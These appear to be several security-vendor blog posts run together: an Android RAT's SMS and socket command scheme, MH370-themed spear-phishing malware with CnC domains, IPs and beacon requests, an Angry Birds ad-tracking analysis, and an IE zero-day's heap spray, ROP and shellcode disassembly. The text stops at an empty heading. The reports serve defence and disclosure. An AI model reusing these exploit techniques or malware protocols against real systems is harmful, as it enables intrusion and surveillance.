The takeScreenshot method then returns the path of the image to the screenCaptureThread which calls the FTPService thereby uploading the screenshot to the attackers CnC server.

Component 2 - GlobalNativeService

The native services listens on a local socket for commands from the GlobalService.apk.

As seen above, if the string after the last trailing slash is “screenshot_” is sent to the Native service through the socket. It runs the command “screencap –p” on the shell of the device and captures a screenshot of the infected device.

The native service also implements other functionality such as deleting a file, saving FTP information to /data/local/tmp/ftpInformation.

If the string “GPSLocationInfo” is sent to the native service on the local socket, it creates GPSLocations.txt at /data/local/tmp/GPSLocations.txt but does not save the current GPS location. This perhaps indicates an upcoming feature.

Android Remote Controller

Component 1 - GPSTracker.apk 

The startup routine for the GPSTracker class is exactly the same as the one for GlobalService class. It gets the value from an "StartGPSTracker" intent which holds the value for an 'interval' variable as an integer. This app records the GPS location of the device at regular intervals (5 minutes). It records the location only if the previous location is 200 meters apart from the current location.

When a location has to be added to the database all previous locations are deleted. Therefore it only maintains the last known location.

This app monitors all incoming messages. If an SMS with "[gmyl]"(Short for (g)ive (m)e (y)our (l)ocation) at the beginning arrives on the device, the corresponding SMS_RECEIVED intent is aborted and the database is queried. A response SMS is crafted as shown below:

"[himl]<>DATE><LATITUDE##LONGTITUDE"

The string “himl” is short for (h)ere (i)s (m)y (l)ocation. Only the last known location is sent as a response to the user.

Component 2 - GPSTrackerClient.apk

This app acts as the controller to the GPSTracker.apk. While the GPSTracker.apk is installed on the victim's device, the GPSTrackerClient.apk is installed on the device from which the monitoring takes place. It takes the phone number of the phone to be tracked and sends it an SMS that contains "[gmyl]". The GPSTracker.apk then responds with the location in an SMS message as described in the above section. It then uses the native maps functionality, i.e., Google Maps, to point to the location sent by GPSTracker.

It is also worthwhile to note that the two modules do not authenticate each other by any means therefore it allows anyone infected with GPSTracker.apk to be controlled just by sending SMS messages with a given structure.

Conclusion

These attacks and tools reaffirm that we live in an age of digital surveillance and intellectual property theft. Off-the-shelf RATs have continued to proliferate over the years and attackers have continued to increasingly use these tools. With the widespread adoption of mobile platforms such as Android, a new market continues to emerge with the demand for RATs to support these platforms. We will continue to see more implementations of RATs and payloads to support multiple platforms and attackers will continue to take advantage of these new attack surfaces to infiltrate their targets.

Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370

By: Ned Moran
25 March 2014 at 04:01

While many advanced persistent threat (APT) groups have increasingly embraced strategic Web compromise as a malware delivery vector, groups also continue to rely on spear-phishing emails that leverage popular news stories. The recent tragic disappearance of flight MH 370 is no exception. This post will examine multiple instances from different threat groups, all using spear-phishing messages and leveraging the disappearance of Flight 370 as a lure to convince the target to open a malicious attachment.

“Admin@338” Targets an APAC Government and U.S. Think Tank

The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.

The attachment dropped a Poison Ivy variant into the path C:\DOCUME~1\admin\LOCALS~1\Temp\kav.exe (MD5: 9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound to www.verizon.proxydns[.]com. This Poison Ivy variant was configured with the connection password “wwwst@Admin.” The APT group we refer to as Admin@338 has previously used Poison Ivy implants with this same password. We document the Admin@338 group’s activities in our Poison Ivy: Assessing Damage and Extracting Intelligence paper. Further, the domain www.verizon.proxydns[.]com previously resolved to the following IP addresses that have also been used by the Admin@338 group:

IP Address First Seen Last Seen
103.31.241.110 103.31.241.110 2013-08-27 2013-08-27 2013-08-28 2013-08-28
174.139.242.19 174.139.242.19 2013-08-28 2013-08-28 2013-08-31 2013-08-31
58.64.153.157 58.64.153.157 2013-09-03 2013-09-03 2014-03-07 2014-03-07
59.188.0.197 59.188.0.197 2014-03-07 2014-03-07 2014-03-19 2014-03-19

A second targeted attack attributed to the same Admin@338 group was sent to a prominent U.S.-based think tank on March 14, 2014. This spear phish contained an attachment that dropped “Malaysian Airlines MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97). The malware sample was crafted to appear as though it was a Flash video, by binding a Flash icon to the malicious executable.

mh3701

Interestingly, in this case, the malware sets its persistence in the normal “Run” registry location, but it tries to auto start the payload from the disk directory “c:\programdata”, which doesn’t exist until Windows 7, so a simple reboot would mitigate this threat on Windows XP. This suggests the threat actors did not perform quality control on the malware or were simply careless. We detect this implant as Backdoor.APT.WinHTTPHelper. The Admin@338 group discussed above has used variants of this same malware family in previous targeted attacks.

This specific implant beacons out to dpmc.dynssl[.]com:443 and www.dpmc.dynssl[.]com:80. The domain dpmc.dynssl[.]com resolved to the following IPs:

IP Address First Seen Last Seen
31.193.133.101 31.193.133.101 2013-11-01 2013-11-01 2013-11-29 2013-11-29
58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08
59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-17 2014-03-17
139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19

The www.dpmc.dynssl[.]com domain resolved to following IPs:

IP Address First Seen Last Seen
31.193.133.101 31.193.133.101 2013-10-30 2013-10-30 2013-11-29 2013-11-29
58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08
59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-18 2014-03-18
139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19

Note that the www.verizon.proxydns[.]com domain used by the Poison Ivy discussed above also resolved to both 58.64.153.157 and 59.188.0.197 during the same time frame as the Backdoor.APT.WinHTTPHelper command and control (CnC) located at dpmc.dynssl[.]com and www.dpmc.dynssl[.]com.

In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild. Other threat groups likely sent these other documents.

The Naikon Lures

On March 9, 2014, a malicious executable entitled the “Search for MH370 continues as report says FBI agents on way to offer assistance.pdf .exe“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen circulating in the wild. This sample beacons to the CnC net.googlereader[.]pw:443. We have identified this sample, via forensic analysis, as Backdoor.APT.Naikon.

It uses a standard technique of changing its icon to make it appear to be a PDF, in order to lend to its credibility. This same icon, embedded as a PE Resource, has been used in the following recent samples:

mh3702

MD5 Import hash CnC Server
fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.]net ecoh.oicp[.]net
018f762da9b51d7557062548d2b91eeb 018f762da9b51d7557062548d2b91eeb e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 orayjue.eicp[.]net orayjue.eicp[.]net
fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.]net:443 ecoh.oicp[.]net:443
498aaf6df71211f9fcb8f182a71fc1f0 498aaf6df71211f9fcb8f182a71fc1f0 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f xl.findmy[.]pw xl.findmy[.]pw
a093440e75ff4fef256f5a9c1106069a a093440e75ff4fef256f5a9c1106069a a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f xl.findmy[.]pw xl.findmy[.]pw
125dbbb742399ec2c39957920867ee60 125dbbb742399ec2c39957920867ee60 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f uu.yahoomail[.]pw uu.yahoomail[.]pw
52408bffd295b3e69e983be9bdcdd6aa 52408bffd295b3e69e983be9bdcdd6aa a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f net.googlereader[.]pw net.googlereader[.]pw

This malware leverages “pdfbind” to add a PDF into itself, as can be seen in the debugging strings, and when launched, the malware also presents a decoy document to the target:

mh3703

The Plat1 Lures

On March 10, 2014, we observed another sample that exploited CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5: 4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370 Flight Personnel Identity Information”. The malware that is dropped by the malicious Word document, which we detect as Trojan.APT.Plat1, begins to beacon to 59.188.253.216 via TCP over port 80. The decoy document opened after exploitation is blank. The malicious document dropped the following implants:

C:\Documents and Settings\Administrator\Application Data\Intel\ResN32.dll (MD5: 2437f6c333cf61db53b596d192cafe64)

C:\Documents and Settings\Administrator\Application Data\Intel\~y.dll (MD5: d8540b23e52892c6009fdd5812e9c597)

The implants dropped by this malicious document both included unique PDB paths that can be used to find related samples. These paths were as follows:

E:\Work\T5000\T5 Install\ResN\Release\ResN32.pdb

F:\WORK\PROJECT\T5 Install\InstDll\Release\InstDll.pdb

This malware family was also described in more detail here.

The Mongall/Saker Lures

Another sample leveraging the missing airliner theme was seen on March 12, 2014. The malicious document exploited CVE-2012-0158 and was titled, “Missing Malaysia Airlines Flight 370.doc” (MD5: 467478fa0670fa8576b21d860c1523c6). Although the extension looked like a Microsoft Office .DOC file, it was actually an .HTML Application (HTA) file. Once the exploit is successful, the payload makes itself persistent by adding a Windows shortcut (.LNK) file pointing to the malware in the “Startup” folder in the start menu. It beacons outbound to comer4s.minidns[.]net:8070. The network callback pattern, shown below, is known by researchers as “Mongall” or “Saker”:

GET /3010FC080[REDACTED] HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wis NT 5.0; .NET CLR 1.1.4322)

Host: comer4s.minidns.net:8070

Cache-Control: no-cache

The sample also drops a decoy file called “aa.doc” into the temp folder and displays the decoy content shown below:

mh3704

The “Tranchulas” Lures

On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked by Pakistan.zip” was sent as a ZIP file (MD5: 7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876). The ZIP file was hosted on 199.91.173.43. This IP address was previously used to host malicious files.

The screen saver file drops “winservice.exe” (MD5: 828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to 199.91.173.45. This IP address was previously used to host a file entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).

The initial beacon to the command-and-control server is as follows:

POST /path_active.php?compname=[HOSTNAME]_[USERNAME] HTTP/1.1

Host: 199.91.173.45

Accept: */*

Content-Length: 11

Content-Type: application/x-www-form-urlencoded

This same control server was used in previous activity.

The Page Campaign

A final malicious document was seen abusing the missing Flight 370 story on March 18, 2014. This document exploited CVE-2012-0158 and was entitled “MH370 PM statement 15.03.14 - FINAL.DOC” (MD5: 5e8d64185737f835318489fda46f31a6). This document dropped a Backdoor.APT.Page implant and connected to 122.10.89.85 on both port 80 and 443. The initial beacon traffic over port 80 is as follows:

GET /18110143/page_32180701.html HTTP/1.1

Accept: */*

Cookie: XX=0; BX=0

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)

Host: 122.10.89.85

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

Conclusion

While many APT actors have adopted strategic Web compromise as a delivery vector, it is apparent that spear phishing via email-based attachments or links to zip files remain popular with many threat actors, especially when paired with lures discussing current media events. Network defenders should incorporate these facts into their user training programs and be on heightened alert for regular spear-phishing campaigns, which leverage topics dominating the news cycle.

Acknowledgement: We thank Nart Villeneuve and Patrick Olsen for their support, research, and analysis on these findings.

A Little Bird Told Me: Personal Information Sharing in Angry Birds and its Ad Libraries

By: Jimmy Su
27 March 2014 at 15:30

Many popular mobile apps, including Rovio’s ubiquitous Angry Birds, collect and share players’ personal information much more widely than most people realize.

Some news reports have begun to scratch the surface of the situation. The New York Times reported on Angry Birds and other data-hungry apps last October. And in January, the newspaper teamed up with public-interest news site ProPublica and U.K. newspaper the Guardian for a series of stories detailing how government agencies use the game (and other mobile apps) to collect personal data. Even the long-running CBS show 60 Minutes reported earlier this month that Rovio shares users’ locations.

The Android version of Angry Birds in the Google Play store, updated on March 4, continues to share personal information. In fact, more than a quarter billion users who create Rovio accounts to save their game progress across multiple devices might be unwittingly sharing all kinds of information—age, gender, and more — with multiple parties. And many more users who play the game without a Rovio account are sharing their device information without realizing it.

Once a Rovio account is created and personal information uploaded, the user can do little to stop this personal information sharing. Their data might be in multiple locations: Angry Birds Cloud, Burstly (ad mediation platform), and third-party ad networks such as Jumptap and Millennial Media. Users can avoid sharing personal data by playing Angry Birds without Rovio account, but that won’t stop the game from sharing device information.

In this blog post, we examine the personal information Angry Birds collects. We also demonstrate the relationships between the app, the ad mediation platform, and the ad clouds — showing how the information flows among the three. We also spell out the evidence, such as network packet capture (PCap) from FireEye Mobile Threat Prevention (MTP), to support our information flow chart. Finally, we reveal how the multi-stage information sharing works by tracking the code paths from the reverse-engineered source code.

To investigate the mechanism and contents of the information sharing, we researched different versions of Angry Birds. We found that multiple versions of the game can share personal information in clear text, including email, address, age, and gender.

Angry Birds’ data management service, “ad-x.co.uk,” shares information in the penultimate version of the game (V4.0.0), which was offered in the Google Play store through March 4.  And contrary to media reports that this data sharing occurred only on an older “special edition” of the game, we found that some  sharing occurs in multiple versions of Angry Birds — including the latest to the “classic” version, 4.1.0. (This update as added to Google Play on March 4.) With more than 2 billion downloads of Angry Birds so far, this sharing affects many, many devices.

What information is shared?

Angry Birds encourages players to create Rovio accounts, touting the following benefits:

  • To save scores and in-game weapons
  • To preserve game progress across multiple devicesThe second benefit is especially attractive to devoted Angry Birds players because it allows them to stop playing on one device and pick up where they left off on another. Figure 1 shows the Rovio registration page.

     

    [caption id="attachment_4889" align="aligncenter" width="546"]Figure 1. The registration page of the Rovio account. Figure 1: Rovio’s registration page[/caption]

    Figure 2 shows birthday information collected during registration. The end-use license agreement (EULA) and privacy policy grant Rovio rights to upload the collected information to third-party entities for marketing.

    [caption id="attachment_4894" align="aligncenter" width="546"]Figure 2. The registration of the Rovio account includes personal information and EULA. Figure 2: The registration of the Rovio account includes personal information and EULA.[/caption]

    In Figure 3, the registration page asks for the user’s email address and gender.  When the player clicks the register button, Rovio uploads the collected data to the Angry Birds Cloud to create a player profile.

    [caption id="attachment_4897" align="aligncenter" width="546"]Figure 3. The personal information during the registration process. Figure 3: Rovio asks for email and gender information during registration.[/caption]

    Figure 4 shows another way Angry Birds collects personal information.  Rovio offers a newsletter to update Angry Birds players with new games, episodes, and special offers.  During newsletter signup, Rovio collects the player’s first and last name, email address, date of birth, country of residence, and gender. This information is aggregated with the user’s Rovio account profile by matching the player’s email address.

    [caption id="attachment_4899" align="aligncenter" width="546"]Figure 4. Newsletter registration page with more personal information. Figure 4: Newsletter registration page requesting more personal information[/caption]

    [caption id="attachment_5017" align="alignnone" width="549"]Figure 5. Information flow among Angry Birds, the ad intermediate platform and the ad cloud. Figure 5: Information flow among Angry Birds, the ad intermediate platform and the ad cloud[/caption]

    First, we are concerned with the type of information transmitted to the advertisement library. Figure 5 illustrates the information flow among Angry Birds, the Angry Birds Cloud, Burstly (the embedded ad library and ad mediation platform), and cloud-based ad services such as Jumptap and Millennial Media.

    Angry Birds uses Burstly as an ad adapter, which provides integration with numerous third-party ad clouds including Jumptap and Millennial Media. The ad services use players’ personal data to target ads.

    As the figure shows, Angry Birds maintains an HTTP connection with the advertising platform Burstly, the advertisement provider Millennial Media, and more.

    Traffic flow

    Table 1 summarizes the connections, which we explain in detail below.

    PCap Burstly (Ad Mediation Platform) Third Party Ad Clouds
    1 1 POST (personal information, IP) POST (personal information, IP)
    2 2 GET Ad from Jumptap GET Ad from Jumptap
    3 3 GET Ad from Turn.com GET Ad from Turn.com

    Table 1: PCap information exchanged between Angry Birds, Burstly and third-party ad clouds

    Angry Birds uses native code called libAngryBird.so to access storage and help the ad libraries store logs, caches, database, configuration files, and AES-encrypted game data. For users with a Rovio account, this data includes the user's personal information in clear text or easily decrypted formats. For example, some information is stored in clear text in the web view cache called webviewCacheChromium:

    {"accountId":"AC3XXX...XXXA62B","accountExtRef":"hE...fDc","personal":{"firstName":null,"lastName":null,"birthday":"19XXXXX-01", "age":"30", "gender":"FEMALE", "country":"United States" , "countryCode":"US", "marketingConsent":false, "avatarId":"AVXXX...XXX2c","imageAssets":[...], "nickName":null}, "abid":{"email":"[email protected]", "isConfirmed":false}, "phoneNumber":null, "facebook":{"facebookId":"","email":""},"socialNetworks":[]}

    The device is given a universal id 1XXXX8, which is stored in the webviewCookiesChromium database in clear text:

    cu1XXXX8|{"name":"cu1XXXX8","value":"3%2XXX...XXX6+PM"}|13XXX...XXX1

    The id "1XXXX8" labels the personal information when uploaded by the ad mediation platform. Then the information is passed to ad clouds.

    1. The initial traffic captures in the PCap shows what kind of information Angry Birds uploads to Burstly:

    HTTP/1.1 200 OK

    Cache-Control: private

    Date: Thu, 06 Mar 2014 XX:XX:XX GMT

    Server: Microsoft-IIS/7.5

    ServerName: P-ADS-OR-WEBC #22

    X-AspNet-Version: 4.0.30319

    X-Powered-By: ASP.NET

    X-ReqTime: 0

    Content-Length: 0

    Connection: keep-alive

    POST /Services/PubAd.svc/GetSingleAdPlacement HTTP/1.1

    Content-type: text/json; charset=utf-8

    User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

    Content-Length: 1690

    Host: neptune.appads.com

    Connection: Keep-Alive

    {"data":{"Id":"8XXX5","acceptLanguage":"en","adPool":0,"androidId":"u1XXX...XXXug","bundleId": "com.rovio.angrybirds",…,"cookie":[{"name":"cu1XXX8","value":"3XXX6+PM"},{"name":"vw","value":"ref=1XXX2&dgi=,eL,default,GFW"},{"name":"lc","value":"1XXX8"},{"name":"iuXXXg","value":"x"},{"name":"cuXXX8","value":"3%2XXXPM"},{"name":"fXXXg","value":"ref=1XXX712&crXXX8=2,1&crXXX8=,1"}], "crParms":"age=30,androidstore='com.android.vending', customer='googleplay', gender='FEMALE', version='4.1.0'", "debugFlags":0, "deviceId":"aXXX...XXXd", "encDevId":"xXXX....XXXs=", "encMAC":"iXXX...XXXg=", "ipAddress":"","mac":"1XXX...XXX9", "noTrack":0,"placement":"", "pubTargeting":"age=30, androidstore='com.android.vending', customer='googleplay', gender='FEMALE', version='4.1.0'","rvCR":"", "type":"iq","userAgentInfo":{"Build":"1.35.0.50370", "BuildID":"323", "Carrier":"","Density":"High", "Device":"AscendY300", "DeviceFamily":"Huawei", "MCC":"0","MNC":"0",...

    We can see the information transmitted to neptune.appads.com includes gender, age, android id, device id, mac address, device type, etc. In another PCap in which Angry Birds sends POST to the same host name, the IP address is transmitted too:

    HTTP/1.1 200 OK

    POST /Services/v1/SdkConfiguration/Get HTTP/1.1

    Host: neptune.appads.com

    ...

    IpAddress":"fXXX...XXX9%eth0",...

    According to whois records, the registrant organization of neptune.appads.com is Burstly, Inc. Therefore, the aforementioned information is actually transmitted to Burstly. It Both PCaps contain the keyword “crParms.” This keyword is also used in the source code to put personal information into a map sent as a payload.

    Skyrocket.com is an app monetization service provided by Burstly. The following PCap shows that Angry Birds retrieves the customer ID from Skyrocket.com through an HTTP GET request:

    HTTP/1.1 200 OK

    Cache-Control: private

    Content-Type: text/html

    Date: Thu, 06 Mar 2014 07:12:25 GMT

    Server: Microsoft-IIS/7.5

    ServerName: P-ADS-OR-WEBA #5

    X-AspNet-Version: 4.0.30319

    X-Powered-By: ASP.NET

    X-ReqTime: 2

    X-Stats: geo-0

    Content-Length: 9606

    Connection: keep-alive

    GET /7….4/ad/image/1...c.jpg HTTP/1.1

    User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

    Host: cdn.skyrocketapp.com

    Connection: Keep-Alive

    {"type":"ip","Id":"9XXX8",..."data":[{"imageUrl":"http://cdn.skyrocketapp.com/79...2c.jpg","adType":{"width":300, "height":250, "extendedProperty":80}, "dataType": 64, "textAdType":0,"destType":1,"destParms":"","cookie":[{"name":"fXXXg", "value": "ref=1XXX2&cr1XXX8=2,1&cr1XXX8=1&aoXXX8=", "path":"/", "domain": "neptune.appads.com", "expires":"Sat, 05 Apr 2014 XXX GMT", "maxage": 2…0}, {"name":"vw","value":"ref=1XXX2&...},...,"cbi":"http://bs.serving-sys.com/Burstin...25&rtu=-1","cbia":["http://bs….":1,"expires":60},..."color":{"bg":"0…0"}, "isInterstitial":1}

    2. In this PCap, the ad is fetched by including the customer id 1XXX8 into the HTTP POST request to jumptap.com, i.e. Millennial Media:

    HTTP/1.1 200 OK

    Cache-Control: private

    Content-Type: text/html

    Date: Thu, XX Mar 2014 XX:XX:XX GMT

    Server: Microsoft-IIS/7.5

    ServerName: P-ADS-OR-WEBC #17

    X-AspNet-Version: 4.0.30319

    X-Powered-By: ASP.NET

    X-ReqTime: 475

    X-Stats: geo-0;rcf88626-255;rcf75152-218

    Content-Length: 2537

    Connection: keep-alive

    GET /img/1547/1XXX2.jpg HTTP/1.1

    Host: i.jumptap.com

    Connection: keep-alive

    Referer: http://bar/

    X-Requested-With: com.rovio.angrybirds

    User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

    Accept-Encoding: gzip,deflate

    Accept-Language: en-US

    Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7

    {"type":"ip","Id":"8XXX5","width":320,"height":50,"cookie":[],"data":[{"data":"<!-- AdPlacement : banner_ingame_burstly…","adType":{"width":320, "height":50, "extendedProperty":2064 },"dataType":1, "textAdType":0, "destType":10, "destParms":"", "cookie":[{"name":"...", "value":"ref=...&cr1XXX8=4,1&cr1XXX8=2,1", "path":"/", "domain":"neptune.appads.com", "expires":"Sat, 0X Apr 2014 0X:XX:XX GMT", "maxage":2XXX0}, {"name":"vw",..., "crid":7XXX2, "aoid":3XXX3, "iTrkData":"...", "clkData":"...","feedName":"Nexage"}]}

    In this pcap, the advertisement is retrieved from jumptap.com. We can use the same customer id “1XXXX8” to easily track the PCap of different ad libraries.

    3. For example, in another PCap from turn.com, customer id remains the same:

    HTTP/1.1 200 OK

    Cache-Control: private

    Content-Type: text/html

    Date: Thu, 06 Mar 2014 07:30:54 GMT

    Server: Microsoft-IIS/7.5

    ServerName: P-ADS-OR-WEBB #6

    X-AspNet-Version: 4.0.30319

    X-Powered-By: ASP.NET

    X-ReqTime: 273

    X-Stats: geo-0;rcf88626-272

    Content-Length: 4714

    Connection: keep-alive

    GET /server/ads.js?pub=24…

    PvctPFq&acp=0.51 HTTP/1.1

    Host: ad.turn.com

    Connection: keep-alive

    Referer: http://bar/

    Accept: */*

    X-Requested-With: com.rovio.angrybirds

    User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

    Accept-Encoding: gzip,deflate

    Accept-Language: en-US

    Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7

    {"type":"ip","Id":"0...b","width":320,"height":50,"cookie":[],"data":[{"data":"<!-- AdPlacement : banner_ingame_burstly --> \"http://burstly.ads.nexage.com:80..." destParms":"", "cookie":[{"name":"f...g", "value":"ref=1...0&cr1XXXX8=k,1&cr...8=i, 1","path":"/", "domain":"neptune.appads.com", "expires":"Sat, 0X Apr 2014 0X:XX:XX

    How is the personal information shared?

    We also researched the source code of the Burstly (ad mediation platform) to trace the method calls for the information sharing. First in com/burstly/lib/conveniencelayer/BurstlyAnimated Banner.java, when Angry Birds tries to initialize the connection with Burstly,   initNewAnimatedBanner() is called as follows:

    this.initNewAnimatedBanner (arg7.getActivity(), arg8, arg9, arg10, arg11);

    Inside initNewAnimatedBanner(), it instantiates the BurstlyView object by calling:

    BurstlyView v0 = new BurstlyView(((Context)arg3));

    v0.setZoneId(arg6);

    Before the ZoneId is set, the initializeView() method is called in the constructor of BurstlyView. Furthermore, inside the initializeView() method, we found the following:

    new BurstlyViewConfigurator(this).configure(this.mAttributes);

    Finally in the BurstlyViewConfigurator.configure() method, it sets a series of parameters:

    this.extractAndApplyBurstlyViewId();

    this.extractAndApplyCrParams();

    this.extractAndApplyDefaultSessionLife();

    this.extractAndApplyPublisherId();

    this.extractAndApplyPubTargetingParams();

    this.extractAndApplyUseCachedResponse();

    this.extractAndApplyZoneId();

    These method calls are to retrieve information from burstly.com. For example, in the extractAndApplyCrParams() method, it retrieves parameters from burstly.com and stores them in the BurstlyView object:

    String v0 = this.mAttributes.getAttributeValue("http://burstly.com/lib/ui/schema", "crParams");

    if(v0 != null) {

    BurstlyViewConfigurator.LOG.logDebug("BurstlyViewConfigurator", "Setting CR params to: {0}", new Object[]{v0});

    this.mBurstlyView.setCrParms(v0);

    }

    The key crParms is the same one used in the first PCap to label the values corresponding to personal information such as age and gender.

    Conclusion

    In summary, Angry Birds collects user’s personal information and associates with customer id before storing it in the smart phone storage. Then the Burstly ad library embedded in Angry Birds fetches the customer id, uploads the corresponding personal information to the Burstly cloud, and transmits it to other advertising clouds. We have caught such traffics in the network packet captures and the corresponding code paths in the reversed engineered source code.

    For FireEye ThreatScore information on Angry Birds and more details about the application’s behavior, FireEye Mobile Threat Prevention customers can access their Mobile Threat Prevention (MTP) portal.

 

New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks

27 April 2014 at 02:29

Summary

FireEye Research Labs, the intelligence behind our Mandiant Consultancy services, identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks.  The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11.  This zero-day bypasses both ASLR and DEP. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue.

Threat actors are actively using this exploit in an ongoing campaign which we have named "Operation Clandestine Fox." However, for many reasons, we will not provide campaign details. But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market. We recommend applying a patch once available.

According to NetMarket Share, the market share for the targeted versions of IE in 2013 were:

IE 9      13.9%

IE 10    11.04%

IE 11     1.32%

Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market.  The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher.

 

The Details

 

The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows’ ASLR and DEP protections.

 

Exploitation

 

 

• Preparing the heap

 

The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique heap feng shui. It allocates Flash vector objects to spray memory and cover address 0x18184000. Next, it allocates a vector object that contains a flash.Media.Sound() object, which it later corrupts to pivot control to its ROP chain.

 

• Arbitrary memory access

 

The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray. The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object. This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP.

 

• Runtime ROP generation

 

With full memory control, the exploit will search for ZwProtectVirtualMemory, and a stack pivot (opcode 0x94 0xc3) from NTDLL. It also searches for SetThreadContext in kernel32, which is used to clear the debug registers. This technique, may be an attempt to bypass protections that use hardware breakpoints, such as EMET’s EAF mitigation.

With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode. It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload. When the sound object attempts to call into its vftable, it instead pivots control to the attacker’s ROP chain.

 

• ROP and Shellcode

 

The ROP payload basically tries to make memory at 0x18184000 executable, and to return to 0x1818411c to execute the shellcode.

 

0:008> dds eax

18184100 770b5f58 ntdll!ZwProtectVirtualMemory

18184104 1818411c

18184108 ffffffff

1818410c 181840e8

18184110 181840ec

18184114 00000040

18184118 181840e4

 

Inside the shellcode, it saves the current stack pointer to 0x18181800 to safely return to the caller.

 

mov     dword ptr ds:[18181800h],ebp

 

Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid application crashes.

 

18184123 b820609f06      mov     eax,69F6020h

18184128 90 nop

18184129 90 nop

1818412a c700c0f22169 mov dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0)

18184133 b800401818 mov eax,18184000h

18184138 90 nop

18184139 90 nop

1818413a c700fe030000 mov dword ptr [eax],3FEh ds:0023:18184000=3ffffff0

 

The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit.

 

18184140 8be5            mov     esp,ebp

18184142 83ec2c sub esp,2Ch

18184145 90 nop

18184146 eb2c jmp 18184174

 

The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to bypass mitigations that use the debug registers.

 

18184174 57              push    edi

18184175 81ece0050000 sub esp,5E0h

1818417b c7042410000100 mov dword ptr [esp],10010h

18184182 8d7c2404 lea edi,[esp+4]

18184186 b9dc050000 mov ecx,5DCh

1818418b 33c0 xor eax,eax

1818418d f3aa rep stos byte ptr es:[edi]

1818418f 54 push esp

18184190 6afe push 0FFFFFFFEh

18184192 b8b308b476 mov eax,offset kernel32!SetThreadContext (76b408b3)

18184197 ffd0 call eax

 

The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image.

 

Mitigation

 

Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests.

Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10.

Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will prevent the exploit from functioning.

 

Threat Group History

 

